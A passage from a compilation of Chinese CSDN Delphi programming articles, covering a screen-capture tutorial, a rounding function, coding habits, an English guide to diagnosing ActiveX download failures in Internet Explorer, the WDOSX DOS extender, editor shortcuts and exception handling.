选 择 需 要 的 区 域， 最 后 才 将 用 户 选 定 的 区 域 复 制 下 来。

编 程 实 现：

1. 首 先 用DELPHI3 开 一 个 工 程。

2. 在FORM 上 放 置 一 个TPANEL 元 件， 设 置ALIGN=ALTOP， 再 选 部 件 条ADDITIONAL 上
的TSCROLLBOX， 放 到FORM 上， 设 置ALIGN=ALCLIENT， 然 后 在SCROLLBOX 上 放 置 一 个
TIMAGE 对 象。

3. 在PANEL 上 放 置4 个 按 钮， 分 别 为FULL SCREEN，REGIN，SAVE，EXIT。

4. 容 易 干 的 先 干， 在EXIT 按 钮 的CLICK 事 件 里 写 下 代 码

procedure TForm1.ExitClick(Sender: TObject);
begin
close;
end;
5. 接 着 是 实 现 全 屏 幕 拷 贝 了， 在FROM 上 放 置 一 个 记 时 器TTIMER，ENABLED 设 为
FALSE，INTERVAL 设 为500， 也 就 是 半 秒 钟 激 活 一 次。 双 击TIMER 部 件， 写 上 如 下 的
代 码。

procedure TForm1.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
begin
timer1.Enabled:=false; //取消时钟
Fullscreen := TBitmap.Create; //创建一个BITMAP来存放图象
Fullscreen.Width := screen.width;
Fullscreen.Height := screen.Height;
DC := GetDC (0); //取得屏幕的 DC，参数0指的是屏幕
FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象
FullscreenCanvas.Handle := DC;

Fullscreen.Canvas.CopyRect
(Rect (0, 0, screen.Width, screen.Height), fullscreenCanvas,
Rect (0, 0, Screen.Width, Screen.Height));
//把整个屏幕复制到BITMAP中
FullscreenCanvas.Free; //释放CANVAS对象
ReleaseDC (0, DC); //释放DC
//*******************************
image1.picture.Bitmap:=fullscreen;//拷贝下的图象赋给IMAGE对象
image1.Width:=fullscreen.Width;
image1.Height:=fullscreen.Height;
fullscreen.free; //释放bitmap
form1.WindowState:=wsNormal; //复原窗口状态
form1.show; //显示窗口
messagebeep(1); //BEEP叫一声，报告图象已经截取好了。
end;
6. 接 下 去FULLSCREEN 按 钮 上 的 代 码 就 很 简 单 了。

procedure TForm1.FullscreenClick(Sender: TObject);
begin
form1.WindowState:=wsMinimized; //最小化程序窗口
form1.hide; //把程序藏起来
timer1.enabled:=true; //打开记时器
end;
7. 拷 贝 到 了 图 象 当 然 要 存 起 来 了，SAVE 按 钮 就 有 了 用 武 之 地， 我 们 写 下 如
下 代 码。

procedure TForm1.Save1Click(Sender: TObject);
begin
if savedialog1.Execute then
begin
form1.Image1.Picture.SaveToFile(savedialog1.filename)
end;
end;
8. 下 面 是 区 域 拷 贝 的 实 现。 再New 一 个FORM,BorderStype 设 为 bsNone, 这 样 能 够 显 示
为 全 屏 幕， 上 面 放 置 一 个TIMAGE 部 件，ALIGN 设 为ALCLIENT， 另 外 放 置 一 个TTIMER
部 件，TIMER 部 件 的 程 序 跟 上 面 的 很 象， 因 为 它 首 先 要 实 现 的 是 全 屏 幕 的 拷
贝。

procedure TForm2.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
begin
timer1.Enabled:=false;
Fullscreen := TBitmap.Create;
Fullscreen.Width := screen.width;
Fullscreen.Height := screen.Height;
DC := GetDC (0);
FullscreenCanvas := TCanvas.Create;
FullscreenCanvas.Handle := DC;
Fullscreen.Canvas.CopyRect (Rect
(0, 0, screen.Width, screen.Height), fullscreenCanvas,
Rect (0, 0, Screen.Width, Screen.Height));
FullscreenCanvas.Free;
ReleaseDC (0, DC);
image1.picture.Bitmap:=fullscreen;
image1.Width:=fullscreen.Width;
image1.Height:=fullscreen.Height;
fullscreen.free;
form2.WindowState:=wsMaximized;
form2.show;

messagebeep(1);
foldx:=-1;
foldy:=-1;
image1.Canvas.Pen.mode:=pmnot; //笔的模式为取反
image1.canvas.pen.color:=clblack; //笔为黑色
image1.canvas.brush.Style:=bsclear; //空白刷子
flag:=true;
end;
9.TIMAGE 部 件 上 有 两 个 事 件 的 程 序 需 要 编 写， 一 个 是ONMOUSEDOWN， 另 一 个
是ONMOUSEMOVE。

10. 可 以 回 头 看 看 区 域 拷 贝 的 思 路， 此 时 需 要 作 区 域 拷 贝 的 屏 幕 我 们 已 经
得 到， 也 显 示 在 屏 幕 上 了， 按 下 鼠 标 左 键 是 区 域 的 原 点， 此 后 移 动 鼠 标， 将
有 一 个 矩 形 在 原 点 和 鼠 标 之 间， 它 会 随 着 鼠 标 的 移 动 而 变 化， 再 次 按 下 鼠
标 的 左 键， 此 时 矩 形 所 包 含 的 区 域 就 是 我 们 要 得 到 的 图 象 了。

11. 所 以MOUSEDOWN 有 两 次 响 应 的 处 理， 见 以 下 程 序。

procedure TForm2.Image1MouseDown
(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
width,height:integer;
newbitmap:Tbitmap;
begin
if (trace=false) then // TRACE表示是否在追踪鼠标
begin //首次点击鼠标左键，开始追踪鼠标。
flag:=false;
with image1.canvas do
begin
moveTo(foldx,0);
LineTo(foldx,screen.height);
moveto(0,foldy);
lineto(screen.width,foldy);
end;
x1:=x;
y1:=y;
oldx:=x;
oldy:=y;
trace:=true;
image1.Canvas.Pen.mode:=pmnot; //笔的模式为取反
//这样再在原处画一遍矩形，相当于擦除矩形。
image1.canvas.pen.color:=clblack; //笔为黑色
image1.canvas.brush.Style:=bsclear;//空白刷子
end
else
begin //第二次点击，表示已经得到矩形了，
//把它拷贝到FORM1中的IMAGE部件上。
x2:=x;
y2:=y;
trace:=false;
image1.canvas.rectangle(x1,y1,oldx,oldy);
width:=abs(x2-x1);
height:=abs(y2-y1);
form1.image1.Width:=Width;
form1.image1.Height:=Height;

newbitmap:=Tbitmap.create;
newbitmap.width:=width;
newbitmap.height:=height;
newbitmap.Canvas.CopyRect
(Rect (0, 0, width, Height),form2.image1.canvas,
Rect (x1, y1,x2,y2)); //拷贝
form1.image1.picture.bitmap:=newbitmap; //放到FORM的IMAGE上
newbitmap.free;
form2.hide;
form1.show;
end;
end;

12.MOUSEMOVE 的 处 理 就 是 在 原 点 和 鼠 标 当 前 位 置 之 间 不 断 地 画 矩 形 和 擦
除 矩 形。

procedure TForm2.Image1MouseMove
(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if trace=true then //是否在追踪鼠标？
begin //是，擦除旧的矩形并画上新的矩形
with image1.canvas do
begin
rectangle(x1,y1,oldx,oldy);
Rectangle(x1,y1,x,y);
oldx:=x;
oldy:=y;
end;
end
else if flag=true then //在鼠标所在的位置上画十字
begin
with image1.canvas do
begin
moveTo(foldx,0); //擦除旧的十字
LineTo(foldx,screen.height);
moveto(0,foldy);
lineto(screen.width,foldy);
moveTo(x,0); //画上新的十字
LineTo(x,screen.height);
moveto(0,y);
lineto(screen.width,y);
foldx:=x;
foldy:=y;
end;
end;
end;

13. 好 了， 让 我 们 回 过 头 来 编 写REGION 按 钮 的 代 码。

procedure TForm1.RegionClick(Sender: TObject);
begin
form1.Hide;
form2.hide;
form2.Timer1.Enabled:=true;
end;
好 了， 我 们 终 于 胜 利 完 工 了， 赶 快 运 行 一 遍， 把 漂 亮 的 屏 幕 拷 下 来 ！ 瞧
DELPHI 不 仅 是 一 个 优 秀 的 数 据 库 开 发 工 具， 而 且 是 一 个 优 秀 的 编 写WINDOWS
程 序 的 好 帮 手。 让 我 们 不 禁 赞 叹： 伟 大 的DELPHI ！

宁 波 市 游 河 巷 贾 学 杰


CSDN_文档中心_一个四舍五入函数

一个四舍五入函数

http://www.tommstudio.com(2001年4月19日) 作者:booktian 推荐:booktian
下面是保岛国整数的四舍五入函数，如果要保岛国n位小数，只需简单修改。
function myround(x : extended) : extended;
begin
if (int(x)*10+5) > int(x*10) then
begin
result := floor(x);
end else
begin
result := ceil(x);
end;
end;


CSDN_文档中心_一名Delphi程序员的开发习惯（非技术问题）

一名Delphi程序员的开发习惯（非技术问题）

作者: Musicwind®

创建时间：2001-09-26

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

有关开发习惯的一些想法，如鲠在喉，不吐不快。究其发贴动机，当然不排除有骗取参与分的可能，但另一方面，也希望能给同行（念Xing）者提供一些建议，或者参考(希望不是误人子弟)。同时，也希望各位能够就我的这些陋习，发表一点看法，给出批评和指正的意见。谢谢。

一．建立工程目录

首先，第一步要做的，当然是给新项目建一个单独的目录（别笑）。目录名称与项目名称同名，或者另取一个也可，只要清楚、简练。然后，在此目录中创建以下各个目录：

<Doc>：用来存放该项目相关的开发文档（需求说明，概要设计，详细设计等等等等）；

<Source>：用来存放Delphi源程序中的”.Dpr”,”.Pas”,”.Dfm”等文件；

<Dcu>：该目录中存放”.Dcu”文件，将’.Pas’与’.Dcu’文件分开存放只是为了让Source目录的内容更加清楚一些；

<Bin>：存放工程的输出文件，比如”.Exe”,”.Dll”或者”.Ocx”等等；

<Log>：用来存放日志文件；通常在这个目录中我会放一个”<项目名称>程序员日志.Txt”文件。

<Images>：当然是存放工程中用到的图片的目录了。一般情况下，这个目录是少不了的。假如还用到其他资源，那么也一样建立各自的目录，比如Wav，比如Avi等等。

二．设置工程选项

在Delphi中创建一个新的工程，将此工程保存到Source目录中，同时：

a. 选一个耐看的，与项目有些联系的图标作为这个工程的图标。当然，这个图标可能只是临时用用的，但是总要比Delphi默认的那个难看的要好才行，要不然，怎么对得起自己？

b. 将Project Options -> Directories/Conditionals页面中的Output Directory设置为Bin目录；

c. 将Unit output Directory设置为Dcu目录。

三．添加常量单元

添加一个新的Unit，另存为“unt<工程名> Consts.Pas”，用来保存工程中用到的常量。

四．有关窗体（Form）及单元(Unit)

按照匈牙利命名法则给Form命名，则一个用来登录的窗体可以命名为’FrmLogin’，而其单元名可以为’untLogin’。通常，两个对应的Form和Unit的名称在除去’Frm’或’unt’的缩写后应当保持一致。

在Unit的头部添加本单元的注释，注释的格式可以参照Delphi的源码，但是至少应当包含以下几项：功能描述；作者；版权；创建时间；最后修改时间；修改历史等等。

将新创建好的Form的Caption设置为该Form类的名称，而不是使用Delphi默认的。比如，将Form1更名为FrmLogin后，此时我们获得了TFrmLogin这个新的窗体类，并且Delphi自动将窗体的Caption更新为’FrmLogin’。依我看，该Caption应当为’TFrmLogin’才是，因为我们在设计的是一个窗体类TFrmLogin，而不是仅仅对FrmLogin进行操作。

向TFrmLogin这样功能明确的窗体类，许多人都有在设计期就将其Caption设置为诸如“操作员登录”这种名称的习惯。我的习惯是，象“操作员登录”这样的常量，通常存放在unt<工程名>Consts.Pas中，用ResourceString来定义，或者用Const来定义。至于窗体的Caption的命名，应当属于运行期的工作。所以，我往往在TForm.OnCreate事件触发之时才对Caption进行操作，比如：

procedure TFrmLogin.FormCreate(Sender: TObject);

begin

Caption := csLoginTitle;

....

end;

五．关于Format函数的使用

有iYear，iMonth，iDay三个数据，要显示诸如“生日：1976/3/18”这样的信息，你通常怎么做？使用s := ‘生日:’+IntToStr(iYear)+’.’+IntToStr(iMonth)+’.’+IntToStr(iDay); 吗？这样实在是太累了。我的习惯是，在unt<工程名>Consts.Pas中增加一个常量csBirthDayFormat = ‘生日：%d/%d/%d’来保存显示格式，然后使用s := Format(csBirthDayFormat, [iYear, iMonth, iDay])；这样的语句完成数据的拼装。这么做的好处显而易见，那就是你只需在一个地方维护数据的显示格式。

Format函数功能强大，我对它很是推崇，你呢？

六．关于注册表或者Ini文件的存储

原先访问注册表我通常使用TRegistry，而访问Ini文件通常使用TIniFile。这两个类的使用方法各不相同，因此想要使用相同的代码既能访问注册表又能访问Ini文件几乎是不可能的。真头疼啊！

终于我发现了救星!那就是TRegistryIniFile类。查看Registry单元，我们发现，TRegistryIniFile继承自TCusomIniFile。而TIniFile也是继承于TCusomIniFile。因此，使用抽象类TCusomIniFile来实现对注册表或者Ini文件的访问便是一举两得了。比如：

var

csmIniFile: TCusomIniFile;

begin

if blUseIniFile then//如果使用Ini文件

csmIniFile:= TIniFile.Create(csRootKey)

else

csmIniFile:= TRegistryIniFile.Create(csRootKey);

//接着就可以使用csmIniFile对Ini文件进行访问，

//或者用类似访问Ini文件的方式访问注册表。

七．关于TStream流以及TFileStream，TMemoryStream等等

TFileStream和TMemoryStream都继承自抽象类TStream，这意味着我们可以使用一套代码完成对文件和内存的存取操作。因此，定义一些接口的时候，我往往倾向于将参数的类型定义为抽象类，而不是具体类。比如，要完成保存功能的一个函数，定义成

function Save(AStream: TStream): Boolean；

就比定义成

function Save(AStream: TFileStream): Boolean；

要灵活的多。

前一个定义是具有前瞻性的，因为它可以适用于以后可能出现的新型态的流。而后一个定义只适用于TFileStream这种流（当然包括TFileStream的子类），呆板多了。

我的习惯：如果存在抽象类，那么尽量将参数定义为抽象类的类型，毕竟，我们无法预见未来。

八．多使用TAction

Delphi 4以后引入了Action的概念，并且在Standard组件栏中增加TActionList组件。使用Action的好处是，控件状态同步的烦恼从此一扫而空！

更多文章

Musicwind®@HangZhou.Zj.China


CSDN_文档中心_一篇好文,成功或未成功在客户端使用IE下载ActiveForm的都应该看(推荐)

为解决ActiveForm在客户端使用IE不能下载问题,在网上搜到一篇好文,建议在这方面有问题的弟兄看一看,或许会有帮助,文章对IE下载ActiveX控件的步骤和过程做了较为详细的叙述,对于已能成功下载的人来讲,也有一定帮助.

因时间较紧,没来得及翻译,敬请原谅

Diagnosing Code Download Problems

By Conrad Herrmann

25 July 1997

So you’ve just build a nifty new ActiveX control or ActiveForm, and you’re eager to test it out in the field. You type in the information into the Delphi’s Web Deployment options dialog and select the Web Deploy command. Then you go to your coworker’s machine—one on which neither your control nor Delphi have ever been installed—and you go to the test web page Borland’s deployment Wizard generates. After a second or two, your heart jumps as you see the magic words appear:

Delphi ActiveX Test Page

You should see your control appear below this line:

A bit more crunching, and the screen looks like this:

You’ve just been given the Big Red X—an indication that the Internet Explorer was unable to download or create your control. What happened, and how can you fix it?

Any number of errors could have occurred, but Internet Explorer suppresses all the error messages making it frustratingly difficult to diagnose failures. This is a usability feature.

The idea is that the Internet Explorer shouldn’t pop up error messages that the user isn’t capable of dealing with anyway, and most end-users can’t tell the difference between an Authenticode security violation and the Start button. So, your control’s users will be happy and ignorant—who cares if you get a bald patch prematurely?

This paper presents an overview of the code download process Internet Explorer uses to retrieve and install your control, and presents a diagnostic schema for analyzing what’s wrong in your installation.

The Download Process

In order to create your control in the web browser, Internet Explorer must hav received an HTML file containing an <OBJECT> tag. This tag contains parameters that dictate the first steps in the download process.

For example:

<OBJECT
  classid="clsid:29D37F03-F02F-11D0-ACB2-0080C7316F20"
       codebase="http://www.xyz.com/MyControl.ocx#version=1,0,1,0"
       width=350
       height=250
       align=center
       hspace=0
       vspace=0

</OBJECT

The #version part of the tag is optional—if missing, it means "any version will do." The version tag must not appear if the client is the Netscape Navigator with the NCompass ActiveX plugin.

On the web server, there will be a file called MyControl.htm (many servers are case sensitive) , which has been stamped with a version tag (presumably 1.0.1.0), and which can create an ActiveX control with the specified ClassID. The first thing Internet Explorer does is to determine if the specified ClassID is already installed on the client machine. If it is, IE will check to see if the installed version matches the requested version. If the local version matches the version requested in the HTML, IE will simply use the local copy to create the control.

If the version number requested by the HTML page is newer than the one currently installed, or the ClassID is not yet installed, IE knows it must download and install the codebase before it can create the control.

Download and Install Steps

Downloading and Installing the codebase involves three basic steps:

  1. Copy the code base onto the local machine’s Windows/OCCache directory or a subdirectory of it.
  2. Check the code signature of the codebase, and
  3. Install the codebase.

If this process completes successfully, the machine should have a correctly registered OCX library from which the control can be created.

Copying the codebase

The first step, copying the control to the local machine, will be done by attempting to retrieve the file by the mechanism that the codebase URI specifies. If the URI says use HTTP(the default), then IE will use HTTP to download the control. You can also specify FTP, or FILE URIs.

This step can fail in a nuber of ways—if the remote server can’t be found, if the local disk is out of disk space, if the codebase name is spelled incorrectly (remember, many servers are case-sensitive), etc.

You can simulate this step by typing the URI into the IE address box. IE should respond with a dialog that says "Do you want to Open It or Save It?"—if you choose Save It and type /windows/occache as the directory, then this should yield exactly the same results. In the case of a connection failure or File not Found error, you will know that the URI path points to a server or a file that can’t be found. If this happenes, you may have forgotten to deploy your file to the server, or you may have typed the codebase’s URI incorrectly.

This step is the only step that gives you visual feedback, and it only does so if you’ve got a quick eye or a slow modem. When IE is downloading the codebase, you’ll see the IE’s download-progress meter (in the status bar) moving from left to right. If the status meter stays at 0%, then there is probably a connection problem. If the progress meter moves all the way across to the right, then the codebase probably was correctly copied to your machine, and the problem lies at a later stage.

One problem that often happens if you’re debugging and testing on your development machine is that you’ve left the control open in the IE browser. While your control is running, the DLL file itself is locked, so the code download process will not be able to overwrite this file. Remember that IE caches the last few pages you looked at, so even if the current page isn’t the one with your ActiveX on it, you might still have the OCX locked. Exiting IE is the only sure way to know that IE releases the lock on the DLL file.

Checking Authenticode Signature

In the second step, IE checks the code signature of your control. The kinds of errors that can occur depend on the security settings in your IE installation. If you have security set to High, IE will refuse to install the control if it hasn’t been code-signed, and will fail silently. If security is set to Medium, IE will show a warning dialog that reads "This component has not been digitally signed by its publisher. Do you wish to continue?" When security is set to low, IE will not check for a code signature at all, and will proceed to the Installation phase.

When security is set to Medium or High, and IE validates the code signature on your codebase, it will display the telltale certificate dialog which indicates it was able to verify the certificate. This dialog allows you to summarily accept all code from the specified vendor, and if the vendor already appears on this list then the certificate dialog won’t be shown.

If you’re working with unsigned controls, setting security to Medium rather than low can give you a useful piece of information about what’s happening, if you’re working with an unsigned control. If the "This component has not been digitally signed by its publisher" does not appear, the control’s codebase was not downloaded successfully—either because IE failed to download it, or because IE decided it didn’t need to be downloaded.

There also can be problems with code signature verification if you have not upgraded to Authenticode 2.0. You should make sure to upgrade your development machine to Authenticode 2.0 at the Microsoft web site.

Success? Failure? Which is it?

Telling whether the second step (Authenticode) succeeded or not can sometimes be difficult because there are situations where both success and failure proceed silently. The two cases where success announces itself are:

  1. Medium security setting, unsigned control, yields the "unsigned control" dialog box.
  2. Medium or high security setting, no summary accept from your vendor, yields the certificate dialog.

Installing the codebase

The third step is installing the codebase that was just downloaded to your machine’s WINDOWS/OCCACHE directory. How the codebase is installed depends on which kind of codebase you have. The type of codebase is determined by the CODEBASE tag in the OBJECT command. If the file is a DLL file (usually with extension .OCX), then it is the entire codebase. If the file is a .CAB file, then the codebase contains multiple files that are contained in the CAB file. If the file is a .INF file, then the .INF file describes a list of other files that make up the codebase, and where these can be found.

If the codebase is simply a DLL/OCX file, the installation only requires loading the DLL and then calling the DllRegisterServer function in the DLL. If this function succeeds, IE can then try to create the control.

There are two common points of failure in this scenario, both of which fail silently. The first is if the DLL can’t be loaded on the client machine using LoadLibrary. This usually happens if the DLL is dependent on other files, such as library DLLs, Delphi packages, or even specific system DLLs that aren’t available on the client machine. Load failure can also occur if the DLL file was corrupted. If the DLL fails to load properly, no code in the DLL will execute, which means the DLL cannot be debugged in the debugger.

Failure can also occur if the DLL can be loaded but it fails to initialize. This usually isn’t a configuration problem, but probably happens because one of your units’ initialization sections throws an exception. You can determine if your DLL gets loaded correctly by setting a breakpoint at one of your units’ initialization section. If the DLL gets loaded, the initialization sections will be executed, and you can step through their execution until you find the failure.

Another failure can occur if your control cannot register itself correctly. This can happen if your control doesn’t export DllRegisterServer, or if this function fails. Since most Delphi ActiveX controls start with code generated by the Wizard, the first of these is unlikely. There are number of reasons why registering the DLL server might fail, but a common one on NT is caused by inadequate user rights. Each object is registered by its factory (the object you created in the initialization section of your control’s implementation unit), so if any of the factories fail to register the entire server will fail to register. If you use custom factory classes, you might want to check that these classes don’t fail on the user’s machine.

Creating the control

Once your control is correctly installed and registered, IE tries to create an instance of the control. If you’e tested your control locally on your development machine, it’s unlikely that this step will fail, but there are a few errors that will make you just say DOH!

The first is that the ClassID in your HTML file may be incorrect. Up until this point, the ClassID specified in the HTML has played no part in the code download process, so an incorrect ClassID would only show a failure in this phase.

Various low-memory or low-resource conditions might cause your control to fail to create itself as well. The object creation will fail if your COM object fails to construct itself. If you’re building an ActiveX control, your control’s Create or Initialize method might throw an exception or otherwise indicate failure (this is a condition you can debug).

Putting the control in the HTML page

After the control is created, there are still conditions that might fail the installation of your control into the browser’s HTML page. If your <OBJECT> tag contains PARAM statements for your object, the control must be marked safe for initializing in order for IE to allow it to appear on the page, if your security setting is Medium or High. If the HTML tag declares your object available for scripting on the page, IE checks that the control is safe for scripting. In either case, if the control is appropriately marked, and security is Medium or High, the control won’t appear.

Note that the Delphi ActiveX Class Hierarchy doesn’t support the PARAM tag by default—this is a feature you must implement on your control yourself. Nevertheless, it’s not uncommon for a beginner who doesn’t know this to supply a PARAM tag on the HTML page. Because the control is also not marked safe for initializing by default, supplying the PARAM tag will suppress your object’s installation on the HTML page even if the object doesn’t have the means to receive these PARAMs through IPersistPropertyBag.

If you have a script that refers to your control, and the control wasn’t marked safe for scripting, the script will probably give you a runtime error when it tries to access the (now nonexistent) control on the page.

Conclusion

The trick to diagnosing the failure of any complex process is to recognize the signs of success or failure of each step in the process. While IE intentionally suppresses most of these clues, it leaves you with just enough information to be able to diagnose what it’s doing.

The attached flowchart summarizes the code download process, and can help you to diagnose a failure in your download.

Code Download Flowchart

Use this flow chart for diagnosing download errors.


CSDN_文档中心_一种新颖的技术：Delphi for DOS！！！

看看题目，是不是觉得很怪？Delphi 从诞生起就是 for Windows 的，那里有 for DOS 的？
如果你过去曾用过 Borland 的 Turbo Pascal 系列编写软件，那么你应当对 Turbo Pascal
的特点了解一些。Turbo Pascal 直到 6.0 版都不支持 DOS 下的保护模式编程（DPMI）。直
到 Borland Pascal 7.0 出世，然而令人遗憾的是， BP7 仅支持 16 位的保护模式编程，而
真正意义上的 32 位 DPMI 模式却不支持。而且 BP7 是 Borland Pascal 的 DOS 终结版。
所以，那个时代很多的游戏都只能打上 DOS4GW 的烙印（由 Watcom C++ 开发）。

其实，在 1996 年，Delphi 2.0 已经是一个真正的 32 位保护模式编译器了，只不过她不能
产生 DOS MZ 格式的程序，仅能产生 Win32 PE 程序文件。而这个时候，一个名为 WDOSX 的
32 位 DOS 扩展器已经悄然出现了。这个扩展器的最大特点就是专门为 Delphi 2 度身定做，
能够将 Delphi 2 编译的“控制台应用程序”（也就是 Console Application）直接复合成为
一个真正的 32 位 DOS 保护模式程序，其效果与 Watcom C++ 编译产生的 32 位 DOS DPMI
程序（运行时依赖 DOS4GW 扩展器）是一样的！而它产生的程序已经自带扩展器，不需要运行
时的扩展服务程序（比如 DOS4GW）。WDOSX 采用 Borland 的 Turbo Assembler 5.0 开发，
为 Delphi 2 专门提供了用于保护模式下的 CRT、DOS 等单元，与过去的 Turbo Pascal 提供的
单元十分相似。WDOSX 采用 Win32 API 仿真库以便支持在 32 位 DOS DPMI 环境下的系统功能
调用，所以经过复合后的 Delphi 2 控制台程序是运行在一个 Win32 模拟环境中的，Win32 的
特点被保留，而实际确实运行在真正的 32 位 DOS DPMI 环境下。这就是 WDOSX 的奇妙之处。

现在 WDOSX 的最新版本为 0.96，已经能够很好的支持 Delphi 2/3/4/5 各种版本了，它甚至为
Delphi 提供了完备的快速图形处理函数库（包含 DirectX 支持），用来编写 DOS 游戏真是变
得异乎寻常的简便了，而效果却是惊人的：真正的 32 位保护模式 DOS 环境、直接对显示硬件
编程处理图像、方便的 DOS 中断调用支持。Watcom C++ 和 DJGPP 的优点她都能够让 Delphi 具
备！这得益于 Delphi 32 位编译器的强大能力和 WDOSX 的神奇力量。那些在 Win32 环境下的
诸多限制彻底不存在了，你用 Delphi 2/3/4/5 编译的“控制台应用程序（Console Application）”
经过 WDOSX 复合以后产生的 32-bit DOS DPMI 程序能够自由地对内存进行访问，而内存则是真正的
32 位线性 Flat Modal ！再也没有老的按照“段”来划分的概念了。理论上程序能够使用的内存空间
将是 4GB ！WDOSX 的复合原理是将自己的一个保护模式功能服务器及一个微型运行模块加在正常的
Win32 PE 文件的头部，并修改文件头为 32 位 DOS DPMI MZP 文件头，同时将原来的运行代码作适当
的压缩处理，并加入一个很小的 Win32 环境模拟器。由此可见 WDOSX 的作者公里是相当深厚的！目前
WDOSX 除了对 Delphi 2/3/4/5 和 Turbo Assembler 提供最完善的支持外，还支持 C++Builder、
Visual C++。

毕竟，DOS 还不可能从我们的世界中彻底消失，有一些程序设计运行在 DOS 下也许会获得更出色的效果。
而编写 DOS 环境下的程序令人感到十分自由，没有什么限制。并且采用性能卓越的 32 位保护模式将更能
发挥程序的威力。有了 WDOSX ，有了 Delphi ，一切都变得那么容易和轻松了，何乐而不为？

WDOSX 这个东西还真不好找，我好不容易从网上弄下来了。我这里有一个用 Delphi 5 + WDOSX 编写的一个
很有趣的 32-bit DOS DPMI 程序，效果是模拟一团熊熊燃烧的火焰，效果十分惊人，会令你意想不到（姑且
让我这么说吧）！！！我可以将完整的WDOSX 软件包和部分演示程序寄给对此感兴趣的朋友（很小，才几百K字
节）。欢迎大家与我共同探讨这个问题。:)


CSDN_文档中心_一组 Delphi5.0 快捷键

下面的快捷键大部分在Delphi 5.0的菜单中找不到，其中有一些还是非常有用的。

Ctrl+PageUp 将光标移至本屏的第一行，屏幕不滚动。
Ctrl+PageDown 将光标移至本屏的最后一行，屏幕不滚动。
Ctrl+↓ 向下滚动屏幕，光标跟随滚动不出本屏。
Ctrl+↑ 向上滚动屏幕，光标跟随滚动不出本屏。
Ctrl+Shift+NUM 在光标行设置最多九个临时标志号，对临时切换非常有用。
行的左边将出现一本书，封面有NUM，再按一次取消设置。
Ctrl+NUM 直接将光标跳到NUM处，NUM是用Ctrl+Shift+NUM设置的标号。
NUM不能用小键盘。
Ctrl+Home 将光标移至文件头。
Ctrl+End 将光标移至文件尾。
Ctrl+B Buffer List窗口。
Ctrl+I 同Tab键。
Ctrl+M 同Enter键。
Ctrl+N 同Enter键，但光标位置保持不变。
Ctrl+T 删除光标右边的一个单词。
Ctrl+Y 删除光标所在行。

Ctrl+Shift+↑ 光标在函数体内时，将光标快速移至当前函数声明处。
Ctrl+Shift+↓ 光标在函数声明行时，将光标快速移至函数定义处。
Ctrl+Shift+C 声明一个过程或函数后，直接生成过程或函数的名称、begin、end;
Ctrl+Shift+E 光标在Edit窗口和Explorer窗口间切换。
Ctrl+Shift+G 插入GUID。
Ctrl+Shift+J 弹出Delphi语句提示窗口，选择所需语句将自动完成一条语句。
Ctrl+Shift+T 在光标行加入To-Do注释。
Ctrl+Shift+Y 删除光标之后至本行末尾之间的文本。

Ctrl+F3 Call Stack窗口。
Ctrl+F4 等于File菜单中的Close项。

Ctrl+鼠标转轮 加速滚屏。

Shift+F8 调试时弹出CPU窗口。
Shift+F10 等于鼠标右键（Windows快捷键）。

Alt+F4 关闭所有编辑框中打开的源程序文件，但不关闭项目。


CSDN_文档中心_移动没有CAPTION的窗体

procedure WMMOVE(VAR Message: TWMNCHITTEST); Message WM_NCHITTEST;

procedure TForm1.WMMOVE(VAR Message: TWMNCHITTEST);
begin
Message.Result := HTCAPTION;
end;


CSDN_文档中心_异常和错误处理（基于Delphi/VCL）

有人在看了我的“如何将界面代码和功能代码分离（基于Delphi/VCL）”之后，提到一个问题，就是如何对服务端的类的错误进行处理。
在基于函数的结构中，我们一般使用函数返回值来标明函数是否成功执行，并给出错误类型等信息。于是就会有如下形式的代码：
RetVal := SomeFunctionToOpenFile();

if RetVal = E_SUCCESSED then
......
else if RetVal = E_FILENOTFOUND then
......
else if RetVal = E_FILEFORMATERR then
......
else then
......
使用返回错误代码的方法是非常普遍的，但是使用这样的方法存在2个问题：
1、造成冗长、繁杂的分支结构（大量的if或case语句），使得控制流程变得复杂
2、可能会有没有被处理的错误（函数调用者如果不判断返回值的话）

而异常是对于错误处理的面向对象的解决方案。它可以报告错误，但需要知道的是，并非由于错误而引发了异常，而仅仅是因为使用了raise。
在Object Pascal中，抛出异常使用的是raise保留字。在任何时候（即使没有错误发生），raise都将会导致异常的发生。

异常可以使得代码从异常发生处立刻返回，从而保护其下面的敏感代码不会得到执行。通过异常从函数返回和正常从函数返回（执行到函数末尾或执行了Exit）对于抛出异常的函数本身来说是没有什么区别的。区别在于调用者处，通过异常返回后，执行权会被调用者的try...except块所捕获（如果它们存在的话）。如果调用者处没有try...except块的话，将不会继续执行后续语句，而是返回更上层的调用者，直至找到能够处理该异常的try...except块。异常被处理后，将继续执行try...except块之后的语句，控制权就被留在了处理异常的这一层。当异常处理程序感觉对异常的处理还不够完整时，需要更上层调用者继续处理，可以重新抛出异常（使用简单的raise;即可）将控制权交给更上层调用者。
如果根本就没有预设try...except块，则最终异常会被最外层的封装整个程序的VCL的try...except块所捕获。
因此，不会有不被处理的异常，换句话说，也就是不会有不被处理的错误（虽然错误和异常并不能划等号）。这也是异常机制比使用返回错误代码方法的优越之处。另外，异常被抛出后，其控制流程的走向非常清晰明了，不会造成流程失去控制的情况。

举个例子说明异常的工作机制，假设我们要打开某种特定格式的文件：
先定义两个异常类（从Exception继承）
EFileNotFound = class(Exception);
EFileFormatErr = class(Exception);

假设Form1上有一个按纽，按下按纽即打开文件：
procedure TForm1.Button1Click(Sender: TObject);
begin
try
ToOpenFile();
except
on EFileNotFound do
ShowMessage('Sorry, I can''t find the file');
on EFileFormatErr do
ShowMessage('Sorry, the file is not the one I want');
on E:Exception do
ShowMessage(E.Message);
end;
end;

以及打开文件的功能函数：
procedure ToOpenFile;
var RetVal:Integer;
begin
//Some code to openfile

RetVal := -1; //open failed

if RetVal = 0 then //success
Exit

else if RetVal = -1 then
Raise EFileNotFound.Create('File not found')

else if RetVal = -2 then
Raise EFileFormatErr.Create('File format error')

else //other error
Raise Exception.Create('Unknown error');
end;

程序中 TForm1.Button1Click 调用ToOpenFile，并预设了对ToOpenFile可能抛出的异常处理的try...except。当然，也可以对 TForm1.Button1Click 的异常处理代码进行简化：
